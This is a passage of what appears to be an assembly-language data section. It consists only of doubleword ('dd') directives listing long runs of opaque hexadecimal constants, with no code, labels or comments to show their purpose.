3FABDD2Ah dd 4E12CC6Ah, 0BA42C811h, 94E6FD00h, 0C7B96E2Bh, 89E81666h dd 0B8CBA906h, 0AE0B0270h, 97202FF0h, 0D2688D0h, 1292179Ah dd 1B23EB7Ah, 5497025h, 6A9457BBh, 7382BB95h, 4689020Dh dd 37840FBh, 8B9613BEh, 5136C7D9h, 60310FDAh, 587E5A4Eh dd 71504B5h, 39D72DABh, 0EFCA890h, 0B1CA8C68h, 730C4033h dd 0BB4E6D39h, 3809AB09h, 31090770h, 0E46625D8h, 2DC390BFh dd 9C2200F1h, 61A7ED0h, 3D007AA2h, 8459307Bh, 2DD5DDBEh dd 2C0790EFh, 0BD8953F8h, 0F05C07DAh, 61D8E4EFh, 0F3C52B9Bh dd 9582BBFFh, 7AF15C27h, 25DCE3FCh, 405EADB3h, 44F25149h dd 45DEBE3Bh, 7013F5C0h, 810BBF68h, 0FE2E572Bh, 9D256F56h dd 2143E4C1h, 351B1095h, 1D55820Dh, 0D7887BDFh, 0ED976992h dd 759C0C7h, 0BF0484B3h, 1FBACDEDh, 93A2ECB8h, 0B9355D1Ah dd 0DD06DF01h, 0B22040ADh, 813340E9h, 0E10AE305h, 0FD2C66BCh dd 0BF73C05Ah, 1CAEA927h, 6D343A95h, 96D969AEh, 0B5EF6EA5h dd 404EC86Dh, 50418FB4h, 9792907Ah, 0A418570h, 0AB05342Bh dd 64A63075h, 0B5B86AA0h, 26EFA002h, 7D50BBB7h, 0CC0F9BC4h dd 80225A35h, 0FCA6EA0Eh, 4DE90013h, 56F03C6Fh, 2C45B50h dd 30FB3489h, 6D30AFB3h, 4EE59C02h, 0E02EDC87h, 95E8BC0Ah dd 1AC4C24Dh, 6ACA9660h, 0ECB80B0Bh, 9B2DC87h, 0B471915Fh dd 5971AFh, 0FDD8B6A4h dd 3E00A6CCh, 179C7738h, 0B829ED7h, 0B4ADC9AEh, 32103474h dd 76E9B64Ah, 0E7FA4Ah, 80129A4Eh, 1899055Fh, 8CF19531h dd 0B3A66625h, 0A9467888h, 6AFBC100h, 0D4A3E132h, 3F109F56h dd 0D9001466h, 92364F82h, 13753170h, 0AE17CD16h, 0CE5BB109h dd 0BB3597EAh, 0C16D283h, 0D74BC27Ch, 0CF819518h, 0B2CE021Fh dd 0DBEDC2A5h, 0E01F704Bh, 92195104h, 0D7B88429h, 0E75B4A78h dd 34DA4F46h, 0CC85C08Bh, 2BF2B151h, 0DBAFEE25h, 2D66CB35h dd 0BE303E93h, 800440D9h, 7B9EDF25h, 181459A7h, 0E34EB5A2h dd 3BE6D84Ah, 0E3015B2h, 4EF85F50h, 44F96094h, 73401713h dd 4A33DBh, 0A9965BD7h, 1E266F1h, 4CF40402h, 0FC6AD8FDh dd 0D98A0B5Ah, 51747689h, 0AF285E69h, 0A013AB7h, 66570D50h dd 1D889F5Bh, 2908D2C0h, 0E3BE0032h, 1071CDA0h, 65BF810Fh dd 9D781E54h, 1AB6C336h, 0AEECBD2Bh, 12668F28h, 0F271C9BFh dd 5D448994h, 0AC65B2B8h, 0BD4EBB07h, 0DD2534B9h, 0D1FCE385h dd 0A02BF987h, 0F4563520h, 2D99A655h, 52B85Bh, 6E473FA3h dd 6A9C5DDh, 2FE79DACh, 9EF7834h, 0B37B0BD8h, 38181C79h dd 0AB02517Dh, 45839B0Bh, 69775E0Dh, 65455471h, 2ECA9BDh dd 26FC7C3Fh, 0A9ACDDA8h, 7775CAA5h, 71406A4Fh, 25E19FEAh dd 90E22D86h, 97006A66h, 7427491Bh, 2525936h, 0EF095A82h dd 13C21F29h, 357A625Ch, 7A0180E3h, 8EE3A1Ah, 4358F514h dd 0C9915ED6h, 0AF3B63E9h, 4585AE48h, 0C0D1DBC1h, 0D6A17694h dd 3C509BBh, 69792D85h, 1DBD0186h, 0BF90017Bh, 17268EF6h dd 375DDE50h, 0E79700A1h, 0E3315638h, 0DF8C6A5Ah, 0F4C3F3Eh dd 7C87AE0Fh, 0AE6FBFD2h, 4AC47C0Ch, 0FDEE75C6h, 80E6379Fh dd 0EFB521A9h, 0C0498325h, 913EE92Ah, 41999268h, 10D49D9h dd 0CC6F5750h, 0D609BB0Bh, 0D1360712h, 20E8930Dh, 0A13F6D24h dd 0A6E2BD01h, 0D5467E64h, 40990C20h, 1135B26h, 25AE25B5h dd 947AAA87h, 11B0F01h, 6063FA03h, 0C595F935h, 19E250AEh dd 9D1F4D00h, 0EF816E93h, 0C01B12DBh, 4FB2F609h, 0FDD14609h dd 0C5A596B7h, 0FC7910C7h, 68178C14h, 0A6F026Ah, 0A5E9B25h dd 0E43EBA61h, 0B6EEF4h, 419D5532h, 23BCEFD6h, 0FDFF5315h dd 0CAB32FFAh, 2E945D40h, 85D47997h, 400D9D0Bh, 958960F8h dd 27C1253Dh, 0E961DFBFh, 70D05EE2h, 6282C37Fh, 0B1C47471h dd 2268D42h, 0EFE86051h, 0AE03042Ah, 0BD5F5B0Eh, 0DBB782B3h dd 74105790h, 0A338BF81h, 51DC005Ah, 4F1B4D5Dh, 8D3F0129h dd 821A320Dh, 0AC09150h, 8A127F56h, 0AE7C12FAh, 5832D56Fh dd 0BD5ED8F4h, 3D0F87C9h, 40927989h, 0C757BB66h, 896E9897h dd 0B449558Dh, 5FFAE461h, 72015737h, 8B0F1AFEh, 0F07E5CAh dd 0F2C00208h, 90F53087h, 0BFB09670h, 0EC17992Fh, 391A3908h dd 73B1C702h, 0F640A111h, 5F811EADh, 0EC6B622Fh, 2D08B8D9h dd 46502D31h, 84178349h, 0E6010E39h, 21E4F870h, 709EC34h dd 4503C695h, 65122EC5h, 10095A04h, 81FE60ABh, 4132BBDFh dd 0DEC1E85Fh, 3451097Fh, 9D85035Ch, 27AB14B9h, 3DB8BE27h dd 0C61994F3h, 9D5C2DC2h, 505BC783h, 4938D29h, 0C82B1107h dd 7E10CB81h, 4A8B1C55h, 0E92F32D1h, 0B001298Bh, 714609D0h dd 63D16F02h, 182F5F51h, 0D69585Fh, 0C418C495h, 0AE2791A0h dd 2A0C1832h, 0CA60020Eh, 98240E9h, 0E677DE8Bh, 0F880A133h dd 2B21222Fh, 979D1857h, 0A0A5FC8Eh, 280FE17h, 47BF60DFh dd 8DD50A49h, 0EA4AA813h, 18719862h, 5550265Eh, 0D0FD5D41h dd 0E6E261E8h, 12D04002h, 69EC3C2Bh, 6D85B519h, 45598529h dd 0FB6A61F3h, 640A436Fh, 0FE212EEh, 92094B5Ch, 51804B79h dd 0B95BD98Bh, 0AD085284h, 24E0FA25h, 0CD55B531h, 0C741DECAh dd 2BDA5171h, 836E3FC0h, 68B72C08h, 60FE2065h, 0E0AD7DCAh dd 0BDBCDF28h, 22312520h, 2EE1BA5Fh, 6A3EFF6Dh, 9E990067h dd 9618636Ch, 2F9F0138h, 0C5BD09D9h, 0AE7A2E32h, 89908009h dd 5849405Eh, 0A2F395FEh, 7AA07D0h, 0ECF4C7Eh, 4BC95F2h dd 122EB1C7h, 82D565BBh, 3A771E69h, 24C1DF5Ah, 0CE801025h dd 0B7615A93h, 396A4E16h, 0F5D79401h, 0D03628ADh, 0C54A8A60h dd 83D036B8h, 61852932h, 9D5E2A5Eh, 0E54226EDh, 0F14C75E1h dd 300CBF1Ch, 59BCD6C2h, 0E564CD77h, 1A90F31h, 892DF392h dd 4A3D7580h, 8D10FB82h, 40817748h, 6EB86C1Ch, 0E880FA9Fh dd 0C04AC2E5h, 582AA60Bh, 0D638560Eh, 0E0002A86h, 655F3D36h dd 4D9CCBEh, 0FF4EB74Ah, 0DAFD1E1h, 9282FF7h, 6D5D8AABh dd 4E7EC0E5h, 0E24B644Ah, 992226CAh, 60D78102h, 5C481C39h dd 0AD5051D5h, 0DE8CF426h, 0D20C6C04h, 0FFAC6025h, 76BCB1D2h dd 46D9E0B8h, 2D82B0CEh, 4E40EF29h, 8074177Ch, 0B484194Bh dd 7303DD9h, 8C344BC1h, 0C18A7AB4h, 1DA54DA4h, 78005159h dd 864B7156h, 0D5A104E7h, 65681C5Bh, 3416C71Fh, 0BCD72BADh dd 74202D78h, 816064D4h, 0D55F69A2h, 56F42B61h, 0F99A03BEh dd 5E515C4Dh, 0F512A0E4h, 42D64FBDh, 0B776A042h, 0BB74DA40h dd 0A3763F36h, 0B6CA6A0Eh, 7DBD03C1h, 30066524h, 324B390Dh dd 0FF82B1FDh, 0FD481F03h, 0C7D7FCAAh, 262AF720h, 0D3711CCEh dd 73581FAh, 0CA021DDFh, 93CCB77h, 842BBE3h, 0D50FF05h dd 0D2BB8B71h, 19E16EE0h, 0AC264025h, 2FEF7236h, 387B58F5h dd 0F8374F70h, 947C7CF5h, 0FE6E25E4h, 356359Fh, 8BC46BF3h dd 7DDFA7B0h, 0CE13274Fh, 0C3B92BC4h, 0D60130BCh, 0B1E86448h dd 0A03AF28Eh, 0EF5C452Fh, 0FA516E9h, 59CCAECh, 0FAECE97Bh dd 0ECC0B29Eh, 9D39F7A4h, 6CCDD4Bh, 4B2BB02Bh, 4AE18B1Bh dd 28811D9Ah, 6EC5CE72h, 0BFD3CCh, 3154A91Fh, 2595BD23h dd 5BE53A97h, 6AE2715Fh, 0BA521913h, 0B65F02E7h, 86BA0CFh dd 83F60148h, 2EF5AE36h, 2A22210Bh, 0CF04C5C4h, 2C9179Bh dd 8FCCDE2Fh, 59078B95h, 93D12F35h, 50C79300h, 25679A40h dd 0DCC07A94h, 4D319529h, 60967215h, 8C8FC86Fh, 71DD4212h dd 0B74030EAh, 0CC2FA841h, 0B06FE663h, 0E0109D18h, 0AB3D1EDCh dd 7037CAEh, 0E0D4CC4Bh, 5952C2FCh, 0CEF700D3h, 1EE7DD70h dd 5F17DC16h, 96D530F5h, 9186713Ah, 0D8CA6A34h, 857365E0h dd 58098631h, 68000481h, 0F60C76D7h, 16DC8AEFh, 8D283924h dd 0F3F51012h, 9D090403h, 0BDFD0799h, 3E8BDA27h, 4B71F05Bh dd 744E80FFh, 2F01298Fh, 0C77B80BFh, 0F48D0408h, 1AC973Ah dd 782ED02Ch, 3C3654DEh, 1646A24Ah, 37B85D55h, 13A7B397h dd 0CCA6615Bh, 986F29E0h, 0D7CE3400h, 279A807Fh, 0CF88560Fh dd 761FCD10h, 43DEFB4Bh, 96C01CC8h, 90F858E4h, 5B0600F6h dd 0C05CBB17h, 149709E8h, 212D4A4Dh, 12671ACh, 0EFC23DE9h dd 139A606Eh, 7A69226Fh, 774F5CDAh, 80E03549h, 96682C65h dd 293FA448h, 0CFB7F19Dh, 3A2C437Ch, 9425FC80h, 0A9422003h dd 9ABD0BE5h, 58D77E26h, 4415985h, 0A7EA717Fh, 30F64B95h dd 4DB72542h, 41F9A057h, 2F5B8120h, 1C23486Bh, 2A32FD00h dd 126136ACh, 0AF259CADh, 0C187BE35h, 2DAF3194h, 806A3A46h dd 0ECCB6916h, 0DA8AC4BDh, 0C17404EFh, 71610912h, 25DE25ABh dd 0CB8403DEh, 25D687F8h, 0BF4FEB90h, 13178D09h, 8B847978h dd 5444E857h, 505C3B04h, 20BB144Fh, 0C168BDE2h, 8DE68400h dd 0AFE59F4Eh, 5F9B387Ch, 1C38181h, 3B310D61h, 50F97D09h dd 573797CAh, 49398B00h dd 0BE6A9E5h, 0B9B58998h, 0F8565350h, 301AE2F3h, 37028A72h dd 93EB3A99h, 0C958568Bh, 604A8772h, 0F35E4DA3h, 0BF4F50A7h dd 0DD06957h, 0A7859589h, 9A7F742Eh, 0E9FBC040h, 9757FDC5h dd 18917AB5h, 0FB9FA480h, 6609F098h, 0E6C47EBFh, 0DC14C53Bh dd 130BB9E2h, 0A55704C2h, 75340AB5h, 0DB205A50h, 0C9A7848Ah dd 0DAD73EBDh, 0E057870Ah, 714FF391h, 804AB82Ah, 0B3CDFA8Dh dd 3B6500CAh, 0F2D74BB0h, 519DEC02h, 0DF82A506h, 5B5EF6DAh dd 0DE135449h, 0BC78AC12h, 47AABh, 733DC2B6h, 0BEE778DDh dd 2F6BA9DFh, 3CE037EDh, 49671AD9h, 52F6914h, 181084BBh dd 960013D5h, 338D3BBBh, 0FE91507Eh, 3FC3683h, 0FC65EA07h dd 43BB402Fh, 7900B14Dh, 0A8E50E98h, 0C459F0h, 1F07F551h dd 7FE656D7h, 2B965B05h, 22BE9DBDh, 0ED621B2h, 881300F6h dd 8EDDC133h, 4C0B0C86h, 5E3DB315h, 0B81116FCh, 70B6B4C2h dd 2F8964A1h, 0E1334C28h, 0A029F72Bh, 0AFF3A95h, 96547C9Ah dd 0DFA1C0B2h, 0CB280AF7h, 889799D6h, 3F259625h, 59B800FDh dd 6AAEE5BCh, 0BEAFF701h, 10B59D03h, 8DCDD2Bh, 5409BB36h dd 792415BCh, 0C781833Fh, 7CCA7A4Dh, 6F51455Eh, 0B75D76A5h dd 0B97F04ECh, 0D63DBD86h, 0CA830CDAh, 0EA90DB5Bh, 2726BE1h dd 0C6F8B512h, 60A25CB7h, 0FD55F40h, 85A4C7B5h, 91319501h dd 2F84E9D0h, 56532B01h, 85605BFCh, 947000E3h, 0C18B744Bh dd 0F44BE780h, 2B3C0FCDh, 90974B04h, 8356B853h, 0E02E3588h dd 12A377C5h, 0ACCDFB92h, 0C15EDBBEh, 0B2FBB351h, 0DF43C090h dd 85A5B775h, 9671FC99h, 7CD8BDA8h, 0FD5AD319h, 0A0BC38ADh dd 90F93827h, 0E49C2FD3h, 0E104005Ch, 86EE903Dh, 0BD01EB6Ch dd 20FBC7F4h, 122AF850h, 0F19AF024h, 7FF22A41h, 820202E6h dd 99C63DE7h, 6559DBh, 70CBFC3Eh, 23382810h, 66518058h dd 5A2F02B8h, 27BA9661h, 0D1C02ACDh, 17FB3CA8h, 0E8CAEB80h dd 750BCB3Eh, 5C4FD313h, 0B985F360h, 81E69533h, 0AD2CD311h dd 0B836A996h, 76C51268h, 0E8E630h, 0FF5133BBh, 9D781D1h dd 70D2E81Ah, 4A44D371h, 8055F849h, 0BFDAB715h, 0AEDB1251h dd 0CB121D6Eh, 0CAAF2C0Eh, 2EC64DEh, 421016FDh, 955857Ch dd 98F75033h, 248501BDh, 0AC8F2D8Dh, 0A4652531h, 47132392h dd 646FFAh, 3BAF3A65h, 2429D6B2h, 92ACC98Dh, 25FA6FF8h dd 9CD2C678h, 5B3510FDh, 0DE8886F8h, 0AD27A720h, 60D3FEAFh dd 43D9E9D3h, 4AE30B4Dh, 9A4CA6D9h, 5C6900F2h, 8B80163Eh dd 7F1CDBEFh, 0D04EB3E4h, 609B002Fh, 0C090BA66h, 0BDCA8108h dd 3B9761C5h, 0D5F7E8C1h, 30EE95F1h, 34603DADh, 2523235h dd 9589FF6Ah, 13E4284Dh, 0A9013927h, 60AE77BAh, 12D1657Fh dd 0A8984BBDh, 4101414Dh, 0C0B003AEh, 704CE6FCh, 5211099h dd 471E41Eh, 0B82DCDBDh, 3D2FCC9Fh, 80C2B089h, 0F8C8B638h dd 18B9329Dh, 14F58913h, 0C8A43FDAh, 2701DC3Ah, 0C2318729h dd 0C4ECD09Eh, 0DE26BA1Ch, 0D37E58CEh, 171563FAh, 64C1EF25h dd 458A0075h, 0D3C4736Eh, 82023B5Fh, 149BDEE9h, 1036053h dd 0C65B8127h, 20615257h, 601D0D29h, 7EEE8D31h, 0E2E06192h dd 0E8FC5B8Ah, 0C82BC558h, 0D2F6FECh, 0A0C0715Ch, 0B5BE62FAh dd 8B31211Ch, 141D84D1h, 6618B62Ah, 9877E516h, 9C534ABh dd 4824AF0Dh, 3104EAACh, 341469B5h, 6084CCFEh, 61E53FD9h dd 14F2482Eh, 345F5A8h, 0E9CEA06Eh, 71AA5253h, 0B26B2B45h dd 0CB67546Dh, 0F572130Ch, 4A259461h, 2226F601h, 232A12Fh dd 83D98A10h, 0FE25A550h, 7D7A6054h, 0BE09905h, 0A71C9ABEh dd 0BAB71E5Bh, 0FA819995h, 2209612Fh, 3CBC054Bh, 25E594D9h dd 0A17A3B32h, 0A5295509h, 35254650h, 0C09E5612h, 4C4677C2h dd 8503B70Bh, 5FF46135h, 905FB26Fh, 0F0A6FC3Dh, 295304F8h dd 1058DBDh, 768B95Bh, 810BDE7Ah, 0B6D0A4F7h, 1B12822Eh dd 5715BA13h, 0B47364B2h, 309D2850h, 2E8A67B6h, 909D1FCDh dd 1417A08Ah, 0E0C1CBBBh, 6583200h, 207F37F0h, 3C80072Ch dd 24DAFC14h, 0BD44E28Dh, 2B5046BAh, 6520A6C0h, 97BA700Ch dd 3C80EB3Dh, 736F4ADBh, 9F3E16F7h, 0E30712D5h, 100D370h dd 0ACAF381h, 0B9425A36h, 257EB896h, 48EA587Ch, 0E013CD7Dh dd 6DADF841h, 6ED23709h, 27461882h, 58957AB5h, 41166983h dd 4B6CF649h, 1203398Ch, 0BC1FD59Dh, 5139ED37h, 0D70979A8h dd 292C6DC0h, 0F85941DFh, 80509B2Ah, 7A2BD0EFh, 84E0260Ch dd 9099671Ah, 20B383C9h, 4F139497h, 1D0A7B6Dh, 0B81C4868h dd 60BFCF2Fh, 3F0E7268h, 808D5816h, 0EE3B352h, 4DF4602Dh dd 1D9C6072h, 3C60821Bh, 540324BBh, 9D33E1FFh, 38AF9C01h dd 34BC709h, 7F81C09Eh, 3B0E11B6h, 0B1076182h, 0B0020132h dd 97DFCE2Ch, 6A740294h, 1BD8539Bh, 3ED82861h, 28ED2C81h dd 23D7613Ah, 7172F14h, 9FE028B6h, 0DE042110h, 0D7AF8643h dd 6E4B00BCh, 4C30057Ah, 35822B79h, 66185E13h, 310929CBh dd 5410B195h, 717CE9DBh, 9D1EF108h, 4B2091BDh, 7AEE1095h dd 54E7043Fh, 1EB1CC83h, 41319D20h, 48967A26h, 2229287Eh dd 0F2BD9032h, 69688011h, 5E568604h, 80EF44B3h, 49859635h dd 0DB2580F2h, 59917336h, 1A801817h, 9C6ED938h, 0FDF0FCD3h dd 0A57F00A2h, 81E231A7h, 4802A0DFh, 0F0E97B4Bh, 2264E401h dd 0DF4A3191h, 1BB26FE6h, 439130h, 1A62BEA3h, 0E3818552h dd 0DAFA3B0Bh, 1BF945h, 9C5AC7ADh, 2900E668h, 0FA1ABA90h dd 251CE034h, 0A7FE33FFh, 0A7B85F44h, 0B118F6D4h, 0F2D208A7h dd 757F1297h, 0D5E0F3EDh, 41E45FAh, 0DACEC152h, 2B1EE17Ch dd 52E98474h, 0C60182A8h, 0E4B29190h, 3D1DB84h, 1714FD2Ah dd 4BE60689h, 0DBE0CCE3h, 462569B6h, 8BA904Fh, 0A0B30003h dd 0B9D8B27Dh, 830581F9h, 0FAF7CF2Bh, 0BAAD1384h, 0A82BADD2h dd 0A60B970Bh, 0FCC0DA4Dh, 4F57D411h, 5F61FD67h, 0A180A4DBh dd 731F436Dh, 0BD01A70Bh, 50865C45h, 52121C68h, 1604D910h dd 76B85911h, 0EB1E304h, 446BF027h, 7A85064Bh, 67BFEh dd 0CE339F2Ch, 9058F394h, 0E6D87C20h, 42A9AFEh, 5EC096BFh dd 262BE333h, 19249480h, 209AFECFh, 51C791Fh, 0EBA88EC7h dd 9FA26E84h, 53092Eh, 361803FFh, 0B2029F65h, 0B9EF9932h dd 0E1C05D16h, 3A9061DEh, 0C7957179h, 0B9AA79Ch, 6A25E6E1h dd 0D3178CEh, 2BF9B727h, 846A5889h, 0ACD79459h, 9A92EE1Ch dd 1F3C823Bh, 70E27BF2h, 52161BEAh, 81F80BDCh, 0D28E85A2h dd 0C3C4DB12h, 0A89C934Bh, 0A55FF4B3h, 3328BDBh, 1F4895Ch dd 3F629591h, 92F25E4Ch, 0D0ADB7B0h, 92541C93h, 6B13E713h dd 9548DA18h, 37FFEC12h, 0E54DAC7Dh, 59F4C2A6h, 94555542h dd 59289370h, 0B1C6201Eh, 0EB921727h, 4F618B35h, 0A489B904h dd 98C141FFh, 2A085D94h, 18C8419Ah, 4E2D1DC0h, 0F0B14E7Fh dd 668021AFh, 936725BFh, 46D68C56h, 4AA80019h, 8F354BBEh dd 0CCFB568Bh, 0E9AF6662h, 2969E656h, 0BBC95165h, 2B952Dh dd 5628B855h, 69AC9606h, 0F43DE384h, 459C2BFh, 26BCA4h dd 0CBF4C1B8h, 0D78B2808h, 31CF8A95h, 550B1909h, 0EEB43C96h dd 81DE5FD4h, 2A0869BEh, 0DE84F7DDh, 0B96AFEEEh, 0BEBBC4Ah dd 544725C1h, 5555756h, 8CB1C439h, 18008705h, 8B8C29AAh dd 16DE767Bh, 0F897FC0Ah, 7B755B43h, 0BA96AEAh, 46F99B2h dd 7A95D968h, 102536FCh dd 2909AE4Eh, 5B077985h, 32609A53h, 614AE57Ah, 2E223ECAh dd 8D895109h, 82E6DAC9h, 0AA25FDC9h, 0C2E58496h, 0A0795031h dd 8E4E7A00h, 429371h, 0C83402EAh, 1AE5B0B5h, 3DA21B1Fh dd 0DE8B9644h, 17ACCFADh, 4076388Ch, 0DB80AA84h, 0C131AC08h dd 0FC1B589h, 0F869894Ah, 532D5B76h, 850102EEh, 9C552065h dd 5348447Dh, 49F45B62h, 0E92056E9h, 72D46D7Ch, 16E0F87h dd 0D4A91418h, 2D64475h, 3404D8BBh, 4BF0522Fh, 5D5F0640h dd 0D31256C6h, 0C111B2D9h, 34B1BD23h, 8BD54D12h, 716D73A6h dd 804E78CBh, 0ABB0DB52h, 0C00600A8h, 0FCC17082h, 817D2F14h dd 3409DC03h, 0E48B5F26h, 0CCB820B9h, 0C7822100h, 0E0191F69h dd 5CB1958Bh, 0F0620BBh, 39018332h, 3F3254FCh, 0AD507F9Dh dd 1AB7AC2h, 0FCF4BDDEh, 48107058h, 0FE2718F2h, 58853B25h dd 0E1CC96C2h, 44964FB5h, 0BB47F013h, 0BD1EF09h, 0E7A17F7Ah dd 24719529h, 0BD100150h, 61021689h, 0F88B5150h, 5833AB55h dd 0BD2B17A8h, 26C4C9EDh, 40C6F229h, 298D01A1h, 0CB70B61h dd 81F89B69h, 1AE9345Fh, 71E781DEh, 2B3CBADCh, 0A2B41E71h dd 0A704BA05h, 1DAC31EFh, 0F82BE0A2h, 22567A01h, 0E4951988h dd 0BD5A0166h, 0D96520ADh, 8A0CB91h, 0EB004732h, 1EA7DCCEh dd 0E25FDD1Ch, 0BD024E6Ah, 1F21B82Ch, 27FED4B2h, 0BD8BA45Eh dd 90A0C025h, 0DEE85260h, 57B35Bh, 7024A8E9h, 1684BD3h dd 0DAAB4ACFh, 76149FF7h, 665E024Dh, 0D5D97CB9h, 2A90F691h dd 7834DDBh, 13760AE8h, 0F6CD0F01h, 6C6E07Eh, 0A0E95CC8h dd 7857D0Fh, 0FCAE5FA0h, 0CFF7B3DBh, 0DA597EBEh, 8C19B840h dd 0EBB86001h, 0E977D699h, 579C55DEh, 2D9121FFh, 0A4BCD6h dd 0D73A3D33h, 237C170Bh, 0A5453DB0h, 0B399302Ah, 51959098h dd 605087E9h, 110029BFh, 61CE8B6Ch, 8DD5904Ah, 0F0B0B3A7h dd 9A9550F5h, 11CD578Ah, 521C85E0h, 458D00E7h, 0A12D6E57h dd 46EACB81h, 6D6D2625h, 601664B0h, 90EF7815h, 12FDFCAFh dd 0A9FF6A37h, 4BB844h, 59B4D8C7h, 19C1D730h, 20382B5Ch dd 70119014h, 0F5B58909h, 39DE2B15h, 47EC7881h, 0B36099F5h dd 62255Ch, 0D8DE4A77h, 318830FAh, 248D2585h, 8007A25Ah dd 70E652CFh, 0E49BE350h, 95091771h, 0ED925239h, 0DFBF84CBh dd 72205B9h, 0A1905D9Fh, 0B977EB3h, 25B78407h, 23AC61ABh dd 73BD2F9Dh, 0BA09C117h, 0D3A8EC24h, 0C43A6037h, 80B9AD01h dd 0C4500B42h, 8FC800DEh, 0B9FF2F15h, 44258706h, 0F4E16AC5h dd 0D1A940DFh, 1B1D38D2h, 0FA472B88h, 0C8501CBCh, 4C93FBBh dd 0D18B7D86h, 84CFADFCh, 95210A61h, 5060011Ah, 2B0EC23Bh dd 0BE6D000Bh, 9561169Fh, 4060D785h, 7435AE3Dh, 3C07648Ch dd 0A1057717h, 4AF38AE3h, 0CC89CC2Fh, 7B43D839h, 5B082400h dd 54AF8D81h, 7F72000Bh, 9871C5F5h, 0D04B3B96h, 8BC1FCFCh dd 0A746E9D9h, 0C921560Fh, 0E5BF5F07h, 1ACDEEB2h, 0C716B46Ch dd 0A30CB824h, 9D320B52h, 0AB615F2Dh, 0A5830112h, 0DDFE2042h dd 98DDBF29h, 25CF81DDh, 0DD6C8A28h, 32540820h, 0F550FA8Bh dd 4294B278h, 0C8E501F4h, 89D72DFCh, 0CCF46BB5h, 4A19EC09h dd 8729BE12h, 8141DA2Fh, 788B991h, 8C929E3Ah, 5A919E15h dd 0A21FE61Ah, 0F0A83118h, 115B80DCh, 858856FDh, 88C47549h dd 206EFC5Eh, 8825C939h, 2B431075h, 47CBB6C0h, 0DEDD50F7h dd 9F0020A7h, 5A181787h, 12F0CE77h, 9DC1C0Fh, 3FD5F8ADh dd 9C159136h, 8D319281h, 9E6A19C9h, 698883F1h, 508C80AAh dd 52F7009Fh, 0E381515Bh, 1812F9ABh, 0DCB25F4Dh, 0E1BD0B04h dd 0F477AB25h, 74ABD864h, 0A9A2ADEBh, 21F49C4h, 0E5A53539h dd 0B8404C3Dh, 65955FF5h, 8039DAE1h, 0BFB8F495h, 51F09009h dd 76DE0989h, 0DCF52E76h, 0F1068B0Eh, 65A5BF45h, 0A76B13C9h dd 0FA8001F6h, 7218B42h, 39334CCh, 7DF66AD7h, 0D0989EB8h dd 2AED6509h, 2AC0D1DFh, 1378291Eh, 71239DF0h, 8CD42540h dd 76EDE192h, 0D225F3B8h, 9C76572h, 9E5504F6h, 0E103752Ah dd 0F019A63Eh, 0F40A92A0h, 40EE94D7h, 54C1C5Fh, 0B010A80Eh dd 0E4F5E0B6h, 86CF2B1h, 0ED8028B7h, 0DBC5217h, 0D673A080h dd 41E68B99h, 82FB5901h, 96BA1429h, 40C97460h, 5B4A5F07h dd 6B34F5CAh, 0B820EEE1h, 6650DDh, 2D8FD053h, 8E07AEB8h dd 2F4BE804h, 0E5AC39D5h, 0A2EBF708h, 50DC09A5h, 1FD3B5C5h dd 0B9C570h, 0E83AC46Ch, 3C98E737h, 5BBB6609h, 2FCA5A31h dd 5FCF012Fh, 8B9B9340h, 3FC73AF8h, 0FC038793h, 13D8F20h dd 0ADEE1945h, 0EC28E8h, 29622717h, 52A6F8B4h, 0D9D3B92Dh dd 1223A495h, 0DA8C57FDh, 0C215C858h, 0E1D7B427h, 300103Bh dd 2E4E31BDh, 0ADB462A8h, 25DDA873h, 65D4513Fh, 0A8D48F49h dd 0B45F1629h, 0C40794Dh, 0AA544C68h, 17F44028h, 302AC5BEh dd 0E7900CCEh, 0B6F7DB00h, 0B2C3AB99h, 215004EEh, 0B861249Eh dd 0C0167C37h, 30304097h, 0AA25D2h, 0E6DCBF94h, 0E59D9195h dd 47D5A506h, 0F2969C84h, 0F7244FA9h, 4AFD4CC9h, 0A9CC12BAh dd 8C19ACC4h, 0D02B1600h, 0E9D1AB17h, 0E4025E79h, 0F4ADD71h dd 0B9B45BACh, 71A9A851h, 40A11F38h, 52A89305h, 0D236E84Dh dd 6AEE89FEh, 16C8A49Ah, 9E3FA4C1h, 0ADEC842Fh, 306F5B34h dd 46CE9517h, 0A84E5F6h, 7745D713h, 23656BAAh, 9B813B1Ch dd 94718982h, 71B4D59Ch, 0A1EC2A6Ch, 0DD65DCA0h, 0F36FCA05h dd 24B60689h, 88F8ECE3h, 0FB16E60Ah, 5830EE31h, 0BDC236h dd 907BF05h, 0DBC794F2h, 0F0C1703h, 246D7BF8h, 4BEC23F2h dd 6080073Dh, 0A78ECC45h, 6E481590h, 0E012AE38h, 0BCAA33AEh dd 713CFE88h, 20E96CE2h, 6D09CECAh, 70EF131Ah, 226D9D65h dd 0B3509FC0h, 1288BCBFh, 31F40B53h, 2E5B1DE1h, 82FE4435h dd 1C5D166Bh, 5250280Dh, 0A1E29C02h, 438C2504h, 1E3500Eh dd 4BEB5FD9h, 0F3A88895h, 0D3B2E600h, 3A16280Dh, 0BB380372h dd 8E909DCAh, 0B3B33240h, 0EFA4C676h, 0ED93BF02h, 46586B7Fh dd 3B560113h, 68088B0Bh, 8E252E62h, 0C34EDBFAh, 0B0413C6Eh dd 258D0EF0h, 8DC390F8h, 246EAEA4h, 0C4B8B300h, 4131A406h dd 6BF0625Ah, 0C0759C05h, 68DEE47Ch, 0A395E812h, 9C8A6E0h dd 67A03D31h, 86D66674h, 86CD3E43h, 39321280h, 66FC0842h dd 1AD4BF09h, 0A5A0B761h, 8F143858h, 4AFA3D1Ah, 8009D6CBh dd 0F2590CF7h, 12213646h, 457D9D03h, 0A746E936h, 1FCB419h dd 0FF252983h, 0E760ACAAh, 1D97081Dh, 20EDF2F6h, 0EC647C40h dd 0F52F2593h, 0D911D8C5h, 2F86017h, 61BEA6A5h, 0C525CB96h dd 0F49DDC03h, 99E18809h, 892753BCh, 0B6730B39h, 0FE120CA4h dd 707DB3E1h, 0C64847ECh, 0A9CC4AE9h, 95D85E8Bh, 0BDFFF4A8h dd 92F9AC97h, 0BD89BDC5h, 1759805Bh, 0D7484918h, 0F4B14B11h dd 2701B9C4h, 8DC1D85h, 97815849h, 54011ADBh, 0A1049C96h dd 10D5D4h, 812647C7h, 0A862F4B2h, 2A8D5755h, 0E8C095DEh dd 1EA98DA3h, 63366E00h, 96EABB6Ah, 8D7B4B0Fh, 80996C99h dd 64A3F1BCh, 87D50165h, 0E9F88AEDh, 9A61006h, 0BE271263h dd 0B147129Eh, 0C0DE7AB1h, 73B2C680h, 6302F6E8h, 0CDBD2BAAh dd 13510531h, 9EC5AAD2h, 29E929AAh, 9871A8E8h, 40D89FFAh dd 0D6EC8B95h, 2B0BDC1Fh, 788BF315h, 